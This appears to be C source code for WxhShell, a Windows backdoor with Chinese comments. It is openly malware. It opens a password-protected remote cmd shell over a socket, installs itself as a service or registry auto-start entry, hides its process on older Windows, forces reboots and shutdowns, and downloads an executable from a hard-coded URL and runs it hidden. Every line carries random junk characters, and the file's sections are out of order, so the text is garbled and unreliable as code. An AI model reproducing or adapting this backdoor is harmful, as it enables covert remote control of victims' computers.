    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kg]( kP  
    else { 95 ]%j\  
    closesocket(wsh); R&xD|w8UjM  
    ExitThread(0); Jy|Mfl%d  
    } .j&jf^a5  
    break; 2:DpnLU5  
    } C)C;U&Qd  
  // 获取shell wFqz.HoB  
  case 's': { mOXI"q]p  
    CmdShell(wsh); *znCe(dd  
    closesocket(wsh); %Vt@7SwRJ  
    ExitThread(0); jilO%  "  
    break; Y6N+,FAk+J  
  } |9\Lv $VJ  
  // 退出 D[tGbk  
  case 'x': { d'3'{C|kk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ne9 .wd  
    CloseIt(wsh); p`d:g BZ  
    break; S?3{G@!  
    } k6Tpaf^  
  // 离开 !m(6/*PAl  
  case 'q': { kT$4X0}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H>7!+&M  
    closesocket(wsh); SiBbz4  
    WSACleanup(); 3:;%@4f  
    exit(1); b6/:reH{  
    break; Fk9(FOFg  
        } /Cg/Rwl  
  } e1/|PgT(KM  
  } 9MYt4  
3p4bOT5  
  // 提示信息 b5)>h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `GDYL7pM(  
} (Iq\+@xE=  
  } 33;|52$  
;q^YDZ'  
  return; SQ1&n;M}f  
} sIy$}_  
x4( fW\  
// shell模块句柄 & {/ u>,  
int CmdShell(SOCKET sock) fzio8m KVX  
{ Fh/C{cX9g  
STARTUPINFO si; =H?Nb:s  
ZeroMemory(&si,sizeof(si)); G? _,(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5g5pzww  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,pG63&?j  
PROCESS_INFORMATION ProcessInfo; C9iG`?  
char cmdline[]="cmd"; `fV$'u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #62ww-E~  
  return 0; T a[74;VO  
} @"EX%v.  
*oWzH_  
// 自身启动模式 =N0cz%  
int StartFromService(void) =~S   
{ o{Ep/O`  
typedef struct nagto^5X  
{ vVf!XZF  
  DWORD ExitStatus; )/pPY  
  DWORD PebBaseAddress; 5(|ud)v  
  DWORD AffinityMask; [}Iq-sz;0  
  DWORD BasePriority; bbM !<&F  
  ULONG UniqueProcessId; mT9\%5d3  
  ULONG InheritedFromUniqueProcessId; 68>zO %  
}   PROCESS_BASIC_INFORMATION; t&uHn5  
lKwcT!Q4  
PROCNTQSIP NtQueryInformationProcess; >k jJq]A2  
W P&zF$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "|%fA E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E4.IS =4S  
UmuFzw^  
  HANDLE             hProcess; fh 3 6  
  PROCESS_BASIC_INFORMATION pbi; $3Ia+O   
gc:>HX );)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); syfR5wc  
  if(NULL == hInst ) return 0; qs b4@jt+  
>dGYZfqD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j%h Y0   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .0ZvCv:>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =>J#_Pprn  
tSYnc7  
  if (!NtQueryInformationProcess) return 0; ]mh+4k?b  
]>,|v,i =  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <>oW f  
  if(!hProcess) return 0; iau&k `b`  
[<;2C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `7A@\Ha3  
"8]170  
  CloseHandle(hProcess); c 1GP3  
 f#nmr5F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u"T^DrRlQ  
if(hProcess==NULL) return 0; HXQ rtJ  
T}TP.!0E  
HMODULE hMod; u5_fM*Ka  
char procName[255]; 5b'S~Qj#r$  
unsigned long cbNeeded; qsRh ihPX  
&$Lm95  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iT"Itz-^#  
*)1z-rH`  
  CloseHandle(hProcess); J#]y KgT  
*2MTx   
if(strstr(procName,"services")) return 1; // 以服务启动 w1b <>A?87  
2Qj)@&zKe#  
  return 0; // 注册表启动 \#r_H9&s6  
} FM)*>ax{  
R2s>;V.:  
// 主模块 t_dg$KB  
int StartWxhshell(LPSTR lpCmdLine) 9="sx 8?  
{ 9R[','x  
  SOCKET wsl; $C/Gn~k 5  
BOOL val=TRUE; y|se^dn  
  int port=0; Hdx|k=-Q^  
  struct sockaddr_in door; (ce NVo&  
zJ`(LnV  
  if(wscfg.ws_autoins) Install(); xW4+)F5P(  
Fm':sd)'X  
port=atoi(lpCmdLine); dFFqs&cQ  
k]iS3+nD  
if(port<=0) port=wscfg.ws_port; ~=ktFuEa  
bYc qscW  
  WSADATA data; HWBom8u0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O2dgdtm  
:bDA<B6bb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $ZO<8|bW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vBx^zDe  
  door.sin_family = AF_INET; =;=V4nKN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -pu\p-Z  
  door.sin_port = htons(port); tW>R 16zq  
9(WC#-,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eHe /w9`$R  
closesocket(wsl); `qz5rPyZ  
return 1; {eEWfMKIn  
} *Rh .s!@4  
!.$P`wKr  
  if(listen(wsl,2) == INVALID_SOCKET) { xk8p,>/  
closesocket(wsl); dCTpO  
return 1; w"iZn  
} uLljM{ I  
  Wxhshell(wsl); OvG0UXRU  
  WSACleanup(); C>dJ:.K%H  
E 5{)d~q  
return 0; z]AS@}wWqg  
@\8gzvkt  
} X)OP316yx  
Qu_T&  
// 以NT服务方式启动 hp4(f W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o7XRa]O  
{ #U D  
DWORD   status = 0; DG?\6Zh  
  DWORD   specificError = 0xfffffff; TWEqv<c  
;@ X   
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ue:T3jp 3%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )`7+o9&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  eb@Lh!  
  serviceStatus.dwWin32ExitCode     = 0; z{L;)U B^  
  serviceStatus.dwServiceSpecificExitCode = 0; !\O,dq  
  serviceStatus.dwCheckPoint       = 0; _ n4ma  
  serviceStatus.dwWaitHint       = 0; F@bCm+z-  
K<JP9t6Qd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |qDfFGYf  
  if (hServiceStatusHandle==0) return; QvN <uxm  
L0  2~FT  
status = GetLastError(); <h51KPo^P  
  if (status!=NO_ERROR) 9[E$>o"%  
{ c[lob{,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ki6.'#%7  
    serviceStatus.dwCheckPoint       = 0; 1>y=i+T/b  
    serviceStatus.dwWaitHint       = 0; /,Id_TTCO  
    serviceStatus.dwWin32ExitCode     = status; 'a?.X _t  
    serviceStatus.dwServiceSpecificExitCode = specificError; $ow`)?sh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F)kLlsp  
    return; F)ld@Ydk=  
  } mm<iT59  
'TsZuZW]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H)aC'M^  
  serviceStatus.dwCheckPoint       = 0; kGV`Q  
  serviceStatus.dwWaitHint       = 0; -xIhN?r)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); < DZ76  
} EoR6Rx@Z  
vcU\xk")  
// 处理NT服务事件,比如:启动、停止 ,nRwwFd.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l]y%cJ~$'D  
{ aB6LAb2z;T  
switch(fdwControl) 91d`LsP  
{ v^_]W3K  
case SERVICE_CONTROL_STOP: bvS\P!m\c  
  serviceStatus.dwWin32ExitCode = 0; C,vc aC?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,<r3Z$G  
  serviceStatus.dwCheckPoint   = 0; S{7ik,Gdg  
  serviceStatus.dwWaitHint     = 0; 6x,=SW@4  
  { >1pH 91c'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ={@ @`yP^$  
  } @<yc .>  
  return; :wmf{c  
case SERVICE_CONTROL_PAUSE: Y6? mY!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SSbK[aR  
  break; /1#Q=T  
case SERVICE_CONTROL_CONTINUE: xWe1F2nY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vP)~j1  
  break; E(kb!Rz  
case SERVICE_CONTROL_INTERROGATE: p<fgUVR  
  break; 7"NJraQ6  
}; :fKz^@mY4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YkAWKCOni  
} `Mp7 })  
Bp{`%86S E  
// 标准应用程序主函数 7 +hF;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~w9 =Fd6  
{ m&~Dj#%(w  
@mRrA#E#{  
// 获取操作系统版本 aa%&&  
OsIsNt=GetOsVer(); n9fA!Wic  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JP,(4h *  
iA{jKk=  
  // 从命令行安装 r5da/*G/O  
  if(strpbrk(lpCmdLine,"iI")) Install(); z/&a\`DsU  
N z3%}6F:  
  // 下载执行文件 *[~o~e/YCb  
if(wscfg.ws_downexe) { qq7X ",s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \ jXN*A  
  WinExec(wscfg.ws_filenam,SW_HIDE); =*:_swd  
} ~ 9~\f  
xP6?es`  
if(!OsIsNt) { ?r E]s!K  
// 如果时win9x,隐藏进程并且设置为注册表启动 {$1$]p~3 o  
HideProc(); B"Kce"!  
StartWxhshell(lpCmdLine); P ^<0d'(  
} zM r!WoW  
else akCo+ @  
  if(StartFromService()) hd ;S>K/C  
  // 以服务方式启动 ck_fEF  
  StartServiceCtrlDispatcher(DispatchTable); b hr E  
else :htq%gPex9  
  // 普通方式启动 O:=|b]t  
  StartWxhshell(lpCmdLine); J1Ki2I=  
S O:V|Tfj  
return 0; VMye5  P  
} ._MAHBx+G  
dGD^op,6g  
DEQE7.]3q  
d J%Rk#?;A  
=========================================== M$4=q((0  
~z _](HKoS  
@?7{%j*  
m":SE?{{&  
-S%q!%}u  
oTD-+MZn  
" SM /ykk  
K7xWE,y  
#include <stdio.h> $FusDdCv3  
#include <string.h> d O46~  
#include <windows.h> |*c\6 :  
#include <winsock2.h> #DK3p0d  
#include <winsvc.h> waWKpk1Wo  
#include <urlmon.h> ^g-t#O lD?  
zIm_7\e  
#pragma comment (lib, "Ws2_32.lib")  c(V=.+J  
#pragma comment (lib, "urlmon.lib") N>pmhskN?  
H1%[\X?=  
#define MAX_USER   100 // 最大客户端连接数 g;!@DVF$  
#define BUF_SOCK   200 // sock buffer ?X#/1X%u:  
#define KEY_BUFF   255 // 输入 buffer z(` }:t  
bA<AG*  
#define REBOOT     0   // 重启 \aVY>1`  
#define SHUTDOWN   1   // 关机 z'oiyXEE3  
b~r{J5x@  
#define DEF_PORT   5000 // 监听端口 W\qLZuQ  
G]mWaA  
#define REG_LEN     16   // 注册表键长度 >'}=.3\  
#define SVC_LEN     80   // NT服务名长度 h#m:Y~GoF  
$# !UGY  
// 从dll定义API .Y(lB=pV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z2rzb{oS}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %t~SOkx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b WbXh$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E<<p_hX8R  
U7B/t3,=U  
// wxhshell配置信息 QSF"8Uk  
struct WSCFG { { 8f+h  
  int ws_port;         // 监听端口 S'!q}|7X 3  
  char ws_passstr[REG_LEN]; // 口令 K4k~r!&OU  
  int ws_autoins;       // 安装标记, 1=yes 0=no M6jp1:ZH2q  
  char ws_regname[REG_LEN]; // 注册表键名 ![@T iM  
  char ws_svcname[REG_LEN]; // 服务名 45+%K@@x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4j@i%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \/*Nf?;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wyq~:vU.S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _}e7L7B7g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fzS`dL5,W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mGe|8In  
GjeUUmr  
}; 9:%n=URd  
`D)Lzm R  
// default Wxhshell configuration ,]Ro',A&  
struct WSCFG wscfg={DEF_PORT, }{5mH:  
    "xuhuanlingzhe", wMz-U- z  
    1, v0Ai!#  
    "Wxhshell", iIsEQh  
    "Wxhshell", I%9bPQ  
            "WxhShell Service", 3T|Y}  
    "Wrsky Windows CmdShell Service", Ts(t:^  
    "Please Input Your Password: ", j1puB  
  1, -Aa]aDAz68  
  "http://www.wrsky.com/wxhshell.exe", zUs~V`0  
  "Wxhshell.exe" `k(u:yGK  
    }; }qiF^D}  
\9]I#Ih}M  
// 消息定义模块 LZM,QQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s !#HZK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .73zik   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xb]=:x(  
char *msg_ws_ext="\n\rExit."; -=$% {  
char *msg_ws_end="\n\rQuit."; o3n3URu\  
char *msg_ws_boot="\n\rReboot..."; dh^+l;!L  
char *msg_ws_poff="\n\rShutdown..."; $s-9|Lbs`  
char *msg_ws_down="\n\rSave to "; S~0JoCeo  
k]?z~p  
char *msg_ws_err="\n\rErr!"; rQ    
char *msg_ws_ok="\n\rOK!"; |e*GzD  
OE'K5oIM  
char ExeFile[MAX_PATH]; }xDB ~k  
int nUser = 0; ~{kM5:-iw  
HANDLE handles[MAX_USER]; A3AP51 !  
int OsIsNt; Mo}H_8y  
T&r +G!2  
SERVICE_STATUS       serviceStatus; N%9h~G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #>8T*B  
e,f ;  
// 函数声明 W.A1m4l58R  
int Install(void); ~{L.f94N  
int Uninstall(void); -@''[m.*  
int DownloadFile(char *sURL, SOCKET wsh); =- $!:W~  
int Boot(int flag); OlMBMUR:  
void HideProc(void); CQdBf3q  
int GetOsVer(void); tTotPPZf}  
int Wxhshell(SOCKET wsl); YP[LQ>  
void TalkWithClient(void *cs); 1GtOA3,~;-  
int CmdShell(SOCKET sock); 07x=`7hs}  
int StartFromService(void); j$@?62)6  
int StartWxhshell(LPSTR lpCmdLine); [@m[V1D  
F`!TV(,bY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %O#)Nq>mp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HWqLcQ d:P  
[tUv*jw%  
// 数据结构和表定义 "JkZJ#  
SERVICE_TABLE_ENTRY DispatchTable[] = ZCm1+Y$  
{ 31~hlp;  
{wscfg.ws_svcname, NTServiceMain}, wms1IV%;  
{NULL, NULL} Zta$R,[9h  
}; I[#U`9Dt  
9Z&?R++?  
// 自我安装 I-xwJi9?,  
int Install(void) Kw)K A^KF  
{ ~&1KrUu&  
  char svExeFile[MAX_PATH]; cV-i*L4X  
  HKEY key; P7z:3o.  
  strcpy(svExeFile,ExeFile); ~32Pjk~  
6wPeb~{  
// 如果是win9x系统,修改注册表设为自启动 jOs H2^  
if(!OsIsNt) { BBcj=]"_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '/k^C9~m r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bg-VCJI<  
  RegCloseKey(key); #c-b}.R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?^|QiuU:n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LI[ ?~P2\  
  RegCloseKey(key); JwZ?hc  
  return 0; TfJL+a0  
    } OCCEL9d  
  } EYG"49 c  
} TMK'(6dH  
else { tWm>j  
J' W}7r  
// 如果是NT以上系统,安装为系统服务 n!a<:]b<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E *BSfn&i  
if (schSCManager!=0) W9dYljnZ8i  
{ [FGgkd}  
  SC_HANDLE schService = CreateService Y;} 2'"  
  ( yz ?q(]  
  schSCManager, @r F/]UJ  
  wscfg.ws_svcname, 1!!\+ c2*  
  wscfg.ws_svcdisp, RU6KIg{H  
  SERVICE_ALL_ACCESS, Jy9bY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r*chL&7  
  SERVICE_AUTO_START, l]H0g[  
  SERVICE_ERROR_NORMAL, "%VbI P  
  svExeFile, V] rhVMA  
  NULL, eK'wVg#  
  NULL, NCi>S%pD`<  
  NULL, _?.\Xc  
  NULL, Pey//U  
  NULL ]u+MTW;  
  ); m4@MxQm  
  if (schService!=0) /}=a{J  
  { I:i<>kG  
  CloseServiceHandle(schService); tRteyNA  
  CloseServiceHandle(schSCManager); NvQ%J+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .)7:=  
  strcat(svExeFile,wscfg.ws_svcname); LP9)zi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -ui< E?v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .]P2}w)x?  
  RegCloseKey(key); &UL_bG }  
  return 0; l4KbTKm7  
    } r'p =`2=  
  } 7:TO\0]2n  
  CloseServiceHandle(schSCManager); B oqJ   
} '<7S^^ax  
} O}C)~GU  
,^ 7 CP  
return 1; zie=2  
} < W*xshn  
2U}m RgJu  
// 自我卸载 yyP'Z~0  
int Uninstall(void) j$vK<SF  
{ Ra[>P _  
  HKEY key; $o.Kn9\  
M;KA]fmc  
if(!OsIsNt) { rgqQxe=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Iq^if>  
  RegDeleteValue(key,wscfg.ws_regname); Hd%! Nt\u  
  RegCloseKey(key); 78 d_io}w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NG" yPn  
  RegDeleteValue(key,wscfg.ws_regname); Bd5+/G=m  
  RegCloseKey(key); Fnb2.R'+  
  return 0; ;#&fgj  
  } -f9]v9|l  
} UQI f}iR  
} XKqK<!F  
else { MS*G-C  
Z19m@vMsIP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2+.18"rvi  
if (schSCManager!=0) "ZT.k5Z  
{ ]CX[7Q+'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |CIC$2u  
  if (schService!=0) f@@s1gdb  
  { y\'P3ihK  
  if(DeleteService(schService)!=0) { #r<?v  
  CloseServiceHandle(schService); Y%Ieg.o  
  CloseServiceHandle(schSCManager); 7J|&U2}c  
  return 0; |TTS?  
  } X3wX`V}  
  CloseServiceHandle(schService); *V1J4 u  
  } pzhl*ss"6  
  CloseServiceHandle(schSCManager); nN aXp*J  
} Tfx :"u  
} 5f^>b\8+ |  
zN{JJ3-  
return 1; gsPl _  
} UXH"si:  
P=`1rjPE  
// 从指定url下载文件 eEl.. y  
int DownloadFile(char *sURL, SOCKET wsh) T5|c$doQ  
{ a}gk T]  
  HRESULT hr; 8;8c"'Mn  
char seps[]= "/"; I :)W*SK  
char *token; k1='c7s  
char *file; Y]N,.pv=  
char myURL[MAX_PATH]; hat>kXm2K  
char myFILE[MAX_PATH]; `uo, __y  
J!TBREK  
strcpy(myURL,sURL); .A6lj).:  
  token=strtok(myURL,seps); <G ~>~L.E  
  while(token!=NULL) >MG(qi  
  { XIAeCU  
    file=token; Quzo8 u  
  token=strtok(NULL,seps); p $ouh  
  } lA^+Flh  
,=BLnsg  
GetCurrentDirectory(MAX_PATH,myFILE); .Cz %:%9  
strcat(myFILE, "\\"); * R d#{Io7  
strcat(myFILE, file); 6CCbBA  
  send(wsh,myFILE,strlen(myFILE),0); W^\d^)  
send(wsh,"...",3,0); `t (D!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +f NvNbtA  
  if(hr==S_OK) 'dJ/RJ~  
return 0; X!tf#tl  
else wRtZ `o  
return 1; /i_ @  
rwE%G>Vb  
} 7N=-Y>$X  
ROc`BH=  
// 系统电源模块 -#s [F S  
int Boot(int flag) j_cs;G: "  
{ cz/Q/%j$/  
  HANDLE hToken; z[EFQ^*>  
  TOKEN_PRIVILEGES tkp; yT8=l"-[G  
+jP~s  
  if(OsIsNt) { O+~ 7l?o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'ZP)cI:+X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YB,t0%vTJw  
    tkp.PrivilegeCount = 1; Sw[{JB;y,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o)Z=m:t,lK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OGO ~f;7  
if(flag==REBOOT) { }{[mrG   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [10zTU`  
  return 0; hBU\'.x  
} > \Sr{p5KR  
else { 0N:XIGFa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]; Wx  
  return 0; 58V[mlW)O0  
} nBItO~l  
  } XORk!m|  
  else { 51B lM%  
if(flag==REBOOT) { H1EDMhn/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *|#T8t,}n  
  return 0; G?c-79]U  
} GV.A+u  
else { I97yt[,Yy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s{bdl[7  
  return 0; (C;I*cv  
} HQP}w%8x  
}  vZj`|  
h"+ `13  
return 1; MV>$BW  
} ]3iH[,KU3  
1O/ g&u  
// win9x进程隐藏模块 t.Nb? /  
void HideProc(void) 2&!bfq![  
{ .L6Zm U  
PU<PhuMd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z{6kWA3Kk  
  if ( hKernel != NULL ) E#wS_[  
  { gJ$K\[+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I@#;nyAj"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6NWn(pZ]p  
    FreeLibrary(hKernel); _~u2: yl (  
  } ZraT3  
rjx6Djo>  
return; a>O9pX  
} 4LH[4Yj?`  
e4>"92hX  
// 获取操作系统版本 *hLQ  
int GetOsVer(void) <[:o !$  
{ ?:{sH#ua  
  OSVERSIONINFO winfo; RDqFL.-S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); . #lsic8]  
  GetVersionEx(&winfo); :Y,BdU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \daZ k /@  
  return 1; U?a6D:~G  
  else Z6p5* +  
  return 0; }~K`/kvs  
} u+H ; @  
.xhK'}l[  
// 客户端句柄模块 X1{[}!  
int Wxhshell(SOCKET wsl) B~ S6R  
{ #>=j79~  
  SOCKET wsh; 'G\XXf% J  
  struct sockaddr_in client; ^~`?>}MJ  
  DWORD myID; ^O(=Vry  
{--0 z3n>  
  while(nUser<MAX_USER) =Z=o#46JY  
{ a, Q#Dk  
  int nSize=sizeof(client); ZK;zm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jHXwOJq %  
  if(wsh==INVALID_SOCKET) return 1; 'y]\-T  
o2z]dTJ}o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [u}(57DS  
if(handles[nUser]==0) 2%RNq<{Z_  
  closesocket(wsh); zmj"fN{\  
else (;Y8pKl1e  
  nUser++; ;5-r_D;9  
  } "tFxhKf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P 3MhU;  
.MQ^(  
  return 0; b45|vX+j  
} =@,Q Dm]L  
tE6!+c<7  
// 关闭 socket WrPUd{QM  
void CloseIt(SOCKET wsh) WQ yLf;!Lz  
{ wNFz*|n  
closesocket(wsh); H{J'# 9H  
nUser--; @%k}FL=:t(  
ExitThread(0); GdV1^`M6  
} oi}i\: hI  
~qe%Yq  
// 客户端请求句柄 7dsefNPb  
void TalkWithClient(void *cs) 8 C[/dH  
{ fb8%~3i>  
2(5ebe[  
  SOCKET wsh=(SOCKET)cs; 1f",}qe;  
  char pwd[SVC_LEN]; }_=eT]  
  char cmd[KEY_BUFF]; qW:HNEiir  
char chr[1]; kmzH'wktt  
int i,j; Zo1,1O  
;XM{o:1Y[  
  while (nUser < MAX_USER) { F}Vr:~  
=X.LA%Sf=u  
if(wscfg.ws_passstr) { Z{&cuo.@<]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T~Q JO0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 24 1*!  
  //ZeroMemory(pwd,KEY_BUFF); @(r /dZc  
      i=0; C8FB:JNJV  
  while(i<SVC_LEN) { __mF ?m  
(/35p g6\  
  // 设置超时 @gY)8xMbA  
  fd_set FdRead;  V#VN %{  
  struct timeval TimeOut; q6YXM  
  FD_ZERO(&FdRead); )K &(  
  FD_SET(wsh,&FdRead); MSf;ZB  
  TimeOut.tv_sec=8; ;M"9$M'  
  TimeOut.tv_usec=0; F:x [  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h=;{oY<V)?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w$JvB5O  
H":oNpfb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3R+|5Uq8~  
  pwd=chr[0]; 4apL4E"r  
  if(chr[0]==0xd || chr[0]==0xa) { D!7`CH+  
  pwd=0; 8M!:N(a  
  break; (5]}5W*  
  } <b,~:9*?  
  i++; I? ,>DHUX  
    } D3|I:Xm  
9on@Q_7m  
  // 如果是非法用户,关闭 socket ~69&6C1Ch  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  w@,zFV  
} P.gb 1$7<  
'7O3/GDK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gea\,{E9xA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 13taFV dU  
{<<U^<6}  
while(1) { 6gc>X%d`K  
,v"YqD+GC5  
  ZeroMemory(cmd,KEY_BUFF); x.-+[l[1 !  
/ m=HG^!  
      // 自动支持客户端 telnet标准   -'6Dg  
  j=0; 4?B\O`sy.  
  while(j<KEY_BUFF) { AK@9?_D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c/sC&i;%O  
  cmd[j]=chr[0]; dAuJXGo  
  if(chr[0]==0xa || chr[0]==0xd) { p5G?N(l  
  cmd[j]=0; &jmRA';sK  
  break; K6R.@BMN  
  } TYW&!sm  
  j++; wmTb97o  
    } d3xmtG {i  
F6z%VWU  
  // 下载文件 ;+"+3  
  if(strstr(cmd,"http://")) { )ut&@]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F w?[lS  
  if(DownloadFile(cmd,wsh)) M3.do^ss  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YPxM<Gfa8  
  else Yw- G'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ov, hI>0!D  
  } q.;u?,|E/  
  else { /'/Xvm3  
$&=S#_HQS  
    switch(cmd[0]) { LGn:c;  
  }4,L%$@n  
  // 帮助 'dn]rV0(C  
  case '?': { DMOMh#[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2'w?\{}D  
